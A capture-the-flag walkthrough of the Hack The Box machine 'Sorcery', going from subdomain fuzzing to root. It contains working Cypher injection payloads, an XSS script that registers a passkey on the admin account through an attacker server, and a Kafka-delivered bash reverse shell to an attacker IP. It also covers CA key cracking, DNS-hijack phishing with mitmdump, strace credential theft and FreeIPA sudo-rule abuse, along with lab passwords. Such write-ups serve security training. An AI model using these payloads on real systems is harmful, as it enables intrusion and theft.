HTB: Sorcery
Recon
Initial Scanning
Two ports: SSH (22) and HTTPS (443). The OpenSSH version pegs this as Ubuntu 24.04 Noble. The TTL on port 443 is one hop further than SSH, hinting at a containerized architecture:
$ nmap -p 22,443 -sCV 10.129.25.147
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11
443/tcp open ssl/http nginx 1.27.1
| ssl-cert: Subject: commonName=sorcery.htb
|_http-title: Did not follow redirect to https://sorcery.htb/
Subdomain Fuzz
The server redirects to sorcery.htb and uses host-based routing. Fuzzing with ffuf finds git:
$ ffuf -u https://10.129.25.147 -H "Host: FUZZ.sorcery.htb" \
-w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
git [Status: 200, Size: 13592]
sorcery.htb
The main site is a login/register page built with Next.js. Registration has an optional "Registration Key" field. There's also a Passkey login option. Registering a normal account gives access to a product store dashboard. Chrome DevTools provides a WebAuthn emulator for testing passkeys locally.
git.sorcery.htb
Gitea 1.22.1 hosting a single repo: nicole_sullivan/infrastructure. The repo contains the full source code and a docker-compose.yml defining 10 containers: backend (Rust/Rocket), frontend (Next.js), Neo4j, Kafka, DNS (Rust + dnsmasq), MailHog, VSFTPd, Gitea, mail_bot, and nginx.
Source Code Analysis
The backend is a Rust Rocket app backed by Neo4j. Key findings:
- Cypher injection in the
Modelderive macro โformat!()concatenates user input directly into Cypher queries - XSS in product descriptions โ
dangerouslySetInnerHTMLrenders raw HTML - Headless Chrome bot visits every new product as admin with a scoped 60-second JWT
- DNS container pipes Kafka messages directly into
bash -c - Debug port tool sends raw TCP data to any host:port (SSRF primitive)
- FTP serves the Root CA cert and encrypted private key
- Blog posts hint at phishing rules and that
tom_summersfailed a phishing test
sorcery.htb Admin Access
Cypher Injection
The product GUID in /dashboard/store/<id> is concatenated unsafely into a Cypher query. Adding a double quote crashes the query, confirming injection. A UNION-based payload exfiltrates data:
x" }) RETURN result UNION ALL
MATCH (c: Config) RETURN {
id: "cfg", name: c.registration_key,
description: "key", is_authorized: true, created_by_id: "x"
} AS result //
This leaks the seller registration key: dd05d743-b560-45dc-9a09-43ab18c7a513. The same technique dumps user hashes (Argon2 โ uncrackable) and can modify data.
XSS โ Admin Passkey Registration
As a Seller, inserting XSS in a product description triggers the headless Chrome bot. The bot's JWT is scoped to three paths: product view, and the two passkey registration endpoints. The attack registers a passkey I control on the admin's account:
- XSS calls Next.js server actions (
startRegistration,finishRegistration) viaNext-Actionheaders - The challenge is forwarded to my Flask server, which generates an EC2 keypair and builds the attestation object
- The signed credential is sent back to
finishRegistration - The Flask server then authenticates as admin using the new passkey, obtaining a full admin JWT
// XSS payload โ register passkey on admin account
(async () => {
const START = '062f18334e477c66c7bf63928ee38e241132fabc';
const FINISH = '60971a2b6b26a212882926296f31a1c6d7373dfa';
const SRV = 'http://10.10.14.61';
// Step 1: startRegistration (admin cookie auto-attaches)
const r1 = await fetch('/dashboard/profile', {
method:'POST', body:'[]',
headers:{'Next-Action':START,'Content-Type':'text/plain;charset=UTF-8'}
});
const challenge = JSON.parse((await r1.text()).split('\n')[1].substring(2)).result.challenge;
// Step 2: solve challenge on our server
const r2 = await fetch(SRV+'/solve', {
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({challenge:challenge.publicKey.challenge, rp:challenge.publicKey.rp})
});
const credential = await r2.json();
// Step 3: finishRegistration
await fetch('/dashboard/profile', {
method:'POST', body:JSON.stringify([credential]),
headers:{'Next-Action':FINISH,'Content-Type':'text/plain;charset=UTF-8'}
});
new Image().src = SRV+'/done';
})();
Shortcut: Password Overwrite via Cypher
An unintended shortcut skips the XSS entirely. Generate an Argon2 hash and overwrite the admin's password directly via Cypher injection:
# Generate hash
$ python3 -c "from argon2 import PasswordHasher; print(PasswordHasher().hash('qa210'))"
$argon2id$v=19$m=65536,t=3,p=4$...
# Overwrite via injection
UUID"}) MATCH (u:User {username:"admin"})
SET u.password = "$argon2id$v=19$m=65536..."
RETURN {id:"x",name:"done",description:"pw changed",is_authorized:true,created_by_id:"x"} AS result //
Log in with the new password. Then enroll a passkey via Chrome DevTools to access the admin-only pages.
Shell as user@dns
Kafka Wire Protocol RCE
As admin, the Debug Port Tool provides raw TCP access to any internal host. The DNS container's Rust binary subscribes to the Kafka update topic and pipes messages into bash -c โ no auth on Kafka. I craft a Kafka Produce request in binary:
import binascii, struct, sys
def kafka_produce_hex(topic, message):
value = message.encode()
msg_body = struct.pack('>bb', 0, 0)
msg_body += struct.pack('>i', -1)
msg_body += struct.pack('>i', len(value)) + value
crc = binascii.crc32(msg_body) & 0xffffffff
full_msg = struct.pack('>I', crc) + msg_body
msg_set = struct.pack('>q', 0) + struct.pack('>i', len(full_msg)) + full_msg
partition = struct.pack('>i', 0) + struct.pack('>i', len(msg_set)) + msg_set
topic_b = topic.encode()
topic_data = struct.pack('>h', len(topic_b)) + topic_b
topic_data += struct.pack('>i', 1) + partition
body = struct.pack('>hi', 1, 5000) + struct.pack('>i', 1) + topic_data
client = b'qa210'
header = struct.pack('>hhi', 0, 0, 1) + struct.pack('>h', len(client)) + client
request = header + body
return (struct.pack('>i', len(request)) + request).hex()
print(kafka_produce_hex("update", sys.argv[1]))
$ python3 kafka_msg.py 'bash -i >& /dev/tcp/10.10.14.61/443 0>&1'
0000006e00000000...
# Paste hex into Debug tool โ kafka:9092
$ nc -lvnp 443
user@7bfb70ee5b9c:/app$
Shell as tom_summers
CA Keypair Recovery
From the DNS container, FTP allows anonymous access. The root CA certificate and encrypted private key are in /pub:
user@dns$ python3 -c '
import ftplib
ftp = ftplib.FTP("ftp"); ftp.login(); ftp.cwd("pub")
ftp.retrbinary("RETR RootCA.crt", open("/tmp/RootCA.crt","wb").write)
ftp.retrbinary("RETR RootCA.key", open("/tmp/RootCA.key","wb").write)
'
The private key is encrypted with PBKDF2. Cracking with hashcat mode 24420 yields passphrase password:
$ hashcat -m 24420 RootCA.key.hash rockyou.txt
$PEM$...:password
$ openssl rsa -in RootCA.key -out RootCA-dec.key
DNS + MITM Phishing
Write a DNS record for a subdomain pointing to my IP, then use mitmdump as a reverse proxy to Gitea with the CA-signed certificate:
# On DNS container: add record
user@dns$ echo "10.10.14.61 qa.sorcery.htb" > /dns/hosts-user
user@dns$ pkill dnsmasq
user@dns$ /usr/sbin/dnsmasq --no-daemon --addn-hosts /dns/hosts-user --addn-hosts /dns/hosts &
# On attacker: sign cert + run proxy
$ openssl genrsa -out server.key 2048
$ openssl x509 -req -in <(openssl req -new -key server.key -subj '/CN=qa.sorcery.htb') \
-CA RootCA.crt -CAkey RootCA-dec.key -CAcreateserial -out server.crt
$ cat server.crt server.key > server.pem
$ mitmdump --mode reverse:https://git.sorcery.htb/ -p 443 \
--ssl-insecure --certs '*=server.pem' -q -s phish_addon.py
Send a phishing email to tom_summers@sorcery.htb via MailHog's SMTP. The mail_bot follows links from matching recipients. After ensuring the cert passes the three checks (internal domain, HTTPS, CA-signed), tom_summers submits their Gitea creds to the proxy:
>> POST https://git.sorcery.htb/user/login
user_name: tom_summers
password: jNsMKQ6k2.XDMPu.
SSH with the captured creds:
$ sshpass -p 'jNsMKQ6k2.XDMPu.' ssh tom_summers@sorcery.htb
tom_summers@main:~$ cat user.txt
5c4d7491************************
Shell as tom_summers_admin
Xvfb Framebuffer
A process running as tom_summers_admin opens mousepad (a GUI text editor) with passwords.txt on a virtual X display via Xvfb. The framebuffer file is world-readable:
tom_summers@main$ ls -l /xorg/xvfb/
-rwxr--r-- 1 tom_summers_admin tom_summers_admin 527520 Apr 18 16:04 Xvfb_screen0
tom_summers@main$ convert xwd:Xvfb_screen0 Xvfb_screen0.png
# The PNG shows mousepad with: dWpuk7cesBjT-
The password dWpuk7cesBjT- works for tom_summers_admin via su or SSH.
Shell as donna_adams
Docker Registry Auth
tom_summers_admin can sudo -u rebecca_smith strace and sudo -u rebecca_smith docker login. The Docker credential helper (docker-credential-docker-auth) is a .NET binary. Stracing it reveals the password:
tom_summers_admin@main$ until p=$(pgrep -u rebecca_smith -of 'docker-credential-docker-auth'); \
do sleep 0.01; done; sudo -u rebecca_smith strace -s 128 -p "$p"
# ... lots of output ...
write(33, "{\"Username\":\"rebecca_smith\",\"Secret\":\"-7eAZDp9-f9mg\"}\n", 54) = 54
OTP Recovery
The static password is -7eAZDp9-f9mg but there's also an OTP suffix. Reverse-engineering the .NET binary reveals the algorithm:
// HandleOtp โ seeds .NET Random with minute/10 + uid
new Random(DateTime.Now.Minute / 10 + (int)GetCurrentExecutableOwner().UserId)
.Next(100000, 999999);
Only 6 OTPs exist per hour (one per 10-minute block). A Python port generates them:
$ python3 dotnet_otp.py
minute 00-09 (seed 2003): 229732
minute 10-19 (seed 2004): 699914
minute 20-29 (seed 2005): 270098
minute 30-39 (seed 2006): 740280
minute 40-49 (seed 2007): 310463
minute 50-59 (seed 2008): 780645
Registry Layer Dump
With rebecca_smith:<password><otp>, authenticate to the Docker Registry on localhost:5000. Use DockerRegistryGrabber to dump the test-domain-workstation image layers:
$ uv run drg.py http://localhost --dump test-domain-workstation \
-U rebecca_smith -P'-7eAZDp9-f9mg740280'
# Extracted docker-entrypoint.sh:
#!/bin/bash
ipa-client-install --unattended --principal donna_adams --password 3FEVPCT_c3xDH \
--server dc01.sorcery.htb --domain sorcery.htb --no-ntp --force-join --mkhomedir
SSH as donna_adams with the leaked password:
$ sshpass -p '3FEVPCT_c3xDH' ssh donna_adams@sorcery.htb
donna_adams@main:~$
Shell as ash_winter
FreeIPA LDAP Password Change
The host is joined to a FreeIPA realm. donna_adams has an indirect role change_userPassword_ash_winter_ldap, granting write access to ash_winter's userPassword attribute:
donna_adams@main$ ldapmodify -Y GSSAPI -H ldap://dc01.sorcery.htb <<'EOF'
dn: uid=ash_winter,cn=users,cn=accounts,dc=sorcery,dc=htb
changetype: modify
replace: userPassword
userPassword: qa210qa210
EOF
modifying entry "uid=ash_winter,cn=users,cn=accounts,dc=sorcery,dc=htb"
SSH as ash_winter (password expired โ change on first login).
Shell as root
Sudo Rule Abuse via FreeIPA
ash_winter has an indirect role add_sysadmin which allows adding users to the sysadmins group. The sysadmins group has the manage_sudorules_ldap role, which can modify sudo rules. The attack chain:
# Add self to sysadmins
ash_winter@main$ ipa group-add-member sysadmins --users=ash_winter
# Add self to the allow_sudo rule
ash_winter@main$ ipa sudorule-add-user allow_sudo --users=ash_winter
# Restart SSSD to pick up changes (ash_winter can do this with sudo)
ash_winter@main$ sudo systemctl restart sssd
# Now have full sudo
ash_winter@main$ sudo su -
root@main:~# cat root.txt
dd45620a************************
Beyond Root
Cleanup Script Abuse
A systemd timer runs /opt/scripts/cleanup.sh every 10 minutes as the IPA admin. Before the box was patched, this script reset ash_winter's password in plaintext on the command line:
# pspy catches this every 10 minutes:
CMD: UID=1638400000 | /usr/bin/python3 -I /usr/bin/ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep
This was patched before retirement โ the password is now read from a file instead of being passed as a CLI argument, and the admin keytab password was renewed (it had expired).